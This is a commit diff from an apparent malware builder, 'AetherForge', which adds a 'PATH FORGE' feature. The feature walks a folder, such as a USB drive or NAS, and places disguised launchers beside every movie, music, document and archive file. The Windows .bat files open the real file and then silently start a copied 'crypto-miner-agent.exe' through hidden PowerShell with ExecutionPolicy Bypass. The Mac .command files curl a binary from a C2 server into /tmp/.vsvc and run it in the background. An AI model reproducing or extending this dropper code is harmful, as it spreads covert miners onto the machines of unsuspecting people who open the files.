feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.
This commit is contained in:
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||||
|
|
||||||
dropperHandler := NewDropperHandler(database, nil)
|
dropperHandler := NewDropperHandler(database, nil)
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||||
|
|||||||
@@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
@@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Builder
|
// Builder
|
||||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||||
|
// Path Forge: walk a local server path, place launchers next to every file
|
||||||
|
if pathForgeHandler != nil {
|
||||||
|
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
||||||
|
}
|
||||||
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||||
token := chi.URLParam(req, "token")
|
token := chi.URLParam(req, "token")
|
||||||
if builderHandler.CancelBuild(token) {
|
if builderHandler.CancelBuild(token) {
|
||||||
|
|||||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
|||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||||
|
|
||||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||||
|
|
||||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
|||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||||
|
|
||||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
|
|||||||
248
server/internal/builder/pathforge.go
Normal file
248
server/internal/builder/pathforge.go
Normal file
@@ -0,0 +1,248 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
|
||||||
|
type PathForgeRequest struct {
|
||||||
|
// RootPath is the local filesystem path to walk recursively.
|
||||||
|
RootPath string `json:"root_path"`
|
||||||
|
|
||||||
|
// StemMode controls how the output filename is derived:
|
||||||
|
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
|
||||||
|
// "custom" → use OutputStem for every file
|
||||||
|
StemMode string `json:"stem_mode"` // "original" | "custom"
|
||||||
|
|
||||||
|
// OutputStem is used when StemMode == "custom".
|
||||||
|
OutputStem string `json:"output_stem"`
|
||||||
|
|
||||||
|
// TargetWindows / TargetMac selects which launcher files to write.
|
||||||
|
TargetWindows bool `json:"target_windows"`
|
||||||
|
TargetMac bool `json:"target_mac"`
|
||||||
|
|
||||||
|
// ServerURL is embedded in the Mac bootstrap curl command.
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
|
||||||
|
// Extensions lists file extensions to target (dot-prefixed, lowercase).
|
||||||
|
// Leave empty to use the built-in media list.
|
||||||
|
Extensions []string `json:"extensions"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PathForgeResult is returned by the handler.
|
||||||
|
type PathForgeResult struct {
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Total int `json:"total"`
|
||||||
|
Placed int `json:"placed"`
|
||||||
|
Skipped int `json:"skipped"`
|
||||||
|
Errors int `json:"errors"`
|
||||||
|
Results []PathForgeEntry `json:"results"`
|
||||||
|
ErrorList []string `json:"error_list,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type PathForgeEntry struct {
|
||||||
|
Source string `json:"source"` // original file (relative to root)
|
||||||
|
Files []string `json:"files"` // companion files placed
|
||||||
|
}
|
||||||
|
|
||||||
|
// defaultMediaExts is the set of file extensions we target when none are specified.
|
||||||
|
var defaultMediaExts = map[string]struct{}{
|
||||||
|
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
||||||
|
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
||||||
|
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
|
||||||
|
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
|
||||||
|
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
// PathForgeHandler handles POST /api/builder/path-forge.
|
||||||
|
// It does not compile anything — it locates the prebuilt agent binary that
|
||||||
|
// lives next to AetherForge.exe and copies it alongside every matching file.
|
||||||
|
type PathForgeHandler struct {
|
||||||
|
dataDir string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
||||||
|
return &PathForgeHandler{dataDir: dataDir}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var req PathForgeRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.RootPath == "" {
|
||||||
|
http.Error(w, "root_path is required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !req.TargetWindows && !req.TargetMac {
|
||||||
|
req.TargetWindows = true
|
||||||
|
req.TargetMac = true
|
||||||
|
}
|
||||||
|
if req.StemMode == "" {
|
||||||
|
req.StemMode = "original"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Locate the Windows agent binary.
|
||||||
|
agentExe := findAgentBinary()
|
||||||
|
|
||||||
|
// Build the extension set.
|
||||||
|
extSet := buildExtSet(req.Extensions)
|
||||||
|
|
||||||
|
res := &PathForgeResult{Success: true}
|
||||||
|
|
||||||
|
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||||
|
if err != nil || d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
ext := strings.ToLower(filepath.Ext(d.Name()))
|
||||||
|
if _, ok := extSet[ext]; !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
res.Total++
|
||||||
|
rel, _ := filepath.Rel(req.RootPath, path)
|
||||||
|
|
||||||
|
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
|
||||||
|
dir := filepath.Dir(path)
|
||||||
|
|
||||||
|
var placed []string
|
||||||
|
|
||||||
|
if req.TargetWindows && agentExe != "" {
|
||||||
|
// .exe copy of the agent
|
||||||
|
exeDst := filepath.Join(dir, stem+".exe")
|
||||||
|
if copyFileBytes(agentExe, exeDst) == nil {
|
||||||
|
placed = append(placed, stem+".exe")
|
||||||
|
}
|
||||||
|
// .bat launcher that opens the original file AND runs the agent
|
||||||
|
batDst := filepath.Join(dir, stem+".bat")
|
||||||
|
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
|
||||||
|
placed = append(placed, stem+".bat")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.TargetMac {
|
||||||
|
cmdDst := filepath.Join(dir, stem+".command")
|
||||||
|
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
|
||||||
|
placed = append(placed, stem+".command")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(placed) > 0 {
|
||||||
|
res.Placed += len(placed)
|
||||||
|
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||||
|
} else {
|
||||||
|
res.Errors++
|
||||||
|
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[pathforge] walk error: %v", err)
|
||||||
|
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(res)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── helpers ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func stemFor(mode, custom, filename string) string {
|
||||||
|
if mode == "custom" && strings.TrimSpace(custom) != "" {
|
||||||
|
return sanitizeStem(custom)
|
||||||
|
}
|
||||||
|
base := filepath.Base(filename)
|
||||||
|
name := strings.TrimSuffix(base, filepath.Ext(base))
|
||||||
|
return sanitizeStem(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeStem(s string) string {
|
||||||
|
replacer := strings.NewReplacer(
|
||||||
|
"/", "-", "\\", "-", ":", "-",
|
||||||
|
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||||||
|
)
|
||||||
|
return strings.TrimSpace(replacer.Replace(s))
|
||||||
|
}
|
||||||
|
|
||||||
|
// batContent creates a .bat file that opens the original media file with the
|
||||||
|
// default Windows player, then silently starts the agent exe.
|
||||||
|
func batContent(originalFile, exeStem string) string {
|
||||||
|
return "@echo off\r\n" +
|
||||||
|
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
|
||||||
|
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
||||||
|
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
|
||||||
|
}
|
||||||
|
|
||||||
|
// macContent creates a .command shell script that opens the original file on
|
||||||
|
// macOS and downloads + runs the agent from the C2 server.
|
||||||
|
func macContent(originalFile, serverURL string) string {
|
||||||
|
dl := ""
|
||||||
|
if serverURL != "" {
|
||||||
|
dl = fmt.Sprintf(
|
||||||
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
||||||
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
||||||
|
serverURL,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return "#!/bin/bash\n" +
|
||||||
|
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
|
||||||
|
dl
|
||||||
|
}
|
||||||
|
|
||||||
|
// findAgentBinary looks next to the server executable for the agent binary.
|
||||||
|
func findAgentBinary() string {
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
dir := filepath.Dir(exe)
|
||||||
|
candidates := []string{
|
||||||
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||||
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||||
|
}
|
||||||
|
for _, c := range candidates {
|
||||||
|
if _, err := os.Stat(c); err == nil {
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildExtSet merges user-specified extensions with defaults.
|
||||||
|
func buildExtSet(exts []string) map[string]struct{} {
|
||||||
|
if len(exts) == 0 {
|
||||||
|
return defaultMediaExts
|
||||||
|
}
|
||||||
|
m := make(map[string]struct{}, len(exts))
|
||||||
|
for _, e := range exts {
|
||||||
|
if !strings.HasPrefix(e, ".") {
|
||||||
|
e = "." + e
|
||||||
|
}
|
||||||
|
m[strings.ToLower(e)] = struct{}{}
|
||||||
|
}
|
||||||
|
return m
|
||||||
|
}
|
||||||
|
|
||||||
|
func copyFileBytes(src, dst string) error {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
out, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
_, err = io.Copy(out, in)
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -241,12 +241,15 @@ func main() {
|
|||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
|
|
||||||
|
// Path Forge: server-side recursive file seeding
|
||||||
|
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
|
||||||
|
|
||||||
// Find web root for frontend
|
// Find web root for frontend
|
||||||
webRoot := findWebRoot()
|
webRoot := findWebRoot()
|
||||||
log.Printf("Web root: %s", webRoot)
|
log.Printf("Web root: %s", webRoot)
|
||||||
|
|
||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
|
|||||||
@@ -125,6 +125,19 @@ export default function BuilderPage() {
|
|||||||
} | null>(null);
|
} | null>(null);
|
||||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||||
|
|
||||||
|
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
|
||||||
|
const [pfPath, setPfPath] = useState('');
|
||||||
|
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
|
||||||
|
const [pfStem, setPfStem] = useState('');
|
||||||
|
const [pfWindows, setPfWindows] = useState(true);
|
||||||
|
const [pfMac, setPfMac] = useState(true);
|
||||||
|
const [pfBusy, setPfBusy] = useState(false);
|
||||||
|
const [pfResult, setPfResult] = useState<{
|
||||||
|
placed: number; total: number; errors: number;
|
||||||
|
results: { source: string; files: string[] }[];
|
||||||
|
error_list?: string[];
|
||||||
|
} | null>(null);
|
||||||
// Set to true to request cancellation between batch iterations
|
// Set to true to request cancellation between batch iterations
|
||||||
const batchCancelRef = useRef(false);
|
const batchCancelRef = useRef(false);
|
||||||
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
|
||||||
@@ -457,6 +470,34 @@ export default function BuilderPage() {
|
|||||||
setBuilding(false);
|
setBuilding(false);
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
const handlePathForge = async () => {
|
||||||
|
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
|
||||||
|
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
|
||||||
|
setPfBusy(true);
|
||||||
|
setPfResult(null);
|
||||||
|
try {
|
||||||
|
const { authHeaders } = await import('../api/auth');
|
||||||
|
const res = await fetch('/api/v1/builder/path-forge', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||||
|
body: JSON.stringify({
|
||||||
|
root_path: pfPath.trim(),
|
||||||
|
stem_mode: pfStemMode,
|
||||||
|
output_stem: pfStem.trim(),
|
||||||
|
target_windows: pfWindows,
|
||||||
|
target_mac: pfMac,
|
||||||
|
server_url: form?.server_url ?? '',
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
setPfResult(data);
|
||||||
|
} catch (err) {
|
||||||
|
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
|
||||||
|
} finally {
|
||||||
|
setPfBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleBatchCancel = () => {
|
const handleBatchCancel = () => {
|
||||||
batchCancelRef.current = true;
|
batchCancelRef.current = true;
|
||||||
// Also kill the currently-running server compile
|
// Also kill the currently-running server compile
|
||||||
@@ -1941,6 +1982,121 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
|
||||||
|
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
|
||||||
|
<ForgeSectionHeader
|
||||||
|
title="PATH FORGE — Recursive Batch Seed"
|
||||||
|
badge="server-only"
|
||||||
|
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
|
||||||
|
/>
|
||||||
|
<p className="form-hint">
|
||||||
|
For every file found (movies, docs, archives…) the server drops a <strong>.bat + .exe</strong> (Windows)
|
||||||
|
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
|
||||||
|
The launcher opens the original file normally and silently installs the agent.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Root Folder Path</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
|
||||||
|
value={pfPath}
|
||||||
|
onChange={(e) => setPfPath(e.target.value)}
|
||||||
|
disabled={pfBusy}
|
||||||
|
/>
|
||||||
|
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
|
||||||
|
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||||||
|
<label className="label">Output Filename</label>
|
||||||
|
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
|
<input type="radio" name="pfStemMode" value="original"
|
||||||
|
checked={pfStemMode === 'original'}
|
||||||
|
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
|
||||||
|
Same as source file
|
||||||
|
</label>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
|
<input type="radio" name="pfStemMode" value="custom"
|
||||||
|
checked={pfStemMode === 'custom'}
|
||||||
|
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
|
||||||
|
Custom name:
|
||||||
|
</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
className="input mono"
|
||||||
|
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
|
||||||
|
placeholder="e.g. VideoPlayer"
|
||||||
|
value={pfStem}
|
||||||
|
onChange={(e) => setPfStem(e.target.value)}
|
||||||
|
disabled={pfBusy || pfStemMode !== 'custom'}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<span className="form-hint">
|
||||||
|
{pfStemMode === 'original'
|
||||||
|
? 'Terminator.mkv → Terminator.exe + Terminator.bat'
|
||||||
|
: `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||||||
|
<label className="label">Target Platforms</label>
|
||||||
|
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
|
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
|
||||||
|
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||||||
|
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
|
||||||
|
</label>
|
||||||
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
|
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
|
||||||
|
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||||||
|
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-primary"
|
||||||
|
style={{
|
||||||
|
marginTop: '0.75rem',
|
||||||
|
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
|
||||||
|
border: 'none', color: '#fff', fontWeight: 700,
|
||||||
|
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
|
||||||
|
}}
|
||||||
|
onClick={handlePathForge}
|
||||||
|
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
|
||||||
|
>
|
||||||
|
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
|
||||||
|
</button>
|
||||||
|
|
||||||
|
{pfResult && (
|
||||||
|
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
|
||||||
|
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
|
||||||
|
{pfResult.errors === 0 && pfResult.placed > 0
|
||||||
|
? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files`
|
||||||
|
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
|
||||||
|
</p>
|
||||||
|
{pfResult.results.slice(0, 20).map((r, i) => (
|
||||||
|
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
|
||||||
|
<span style={{ color: '#ddd' }}>{r.source}</span>
|
||||||
|
{' → '}
|
||||||
|
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
{pfResult.results.length > 20 && (
|
||||||
|
<p style={{ color: '#666', marginTop: '0.5rem' }}>…and {pfResult.results.length - 20} more</p>
|
||||||
|
)}
|
||||||
|
{pfResult.error_list?.slice(0, 5).map((e, i) => (
|
||||||
|
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
{!simpleMode && (
|
{!simpleMode && (
|
||||||
<>
|
<>
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user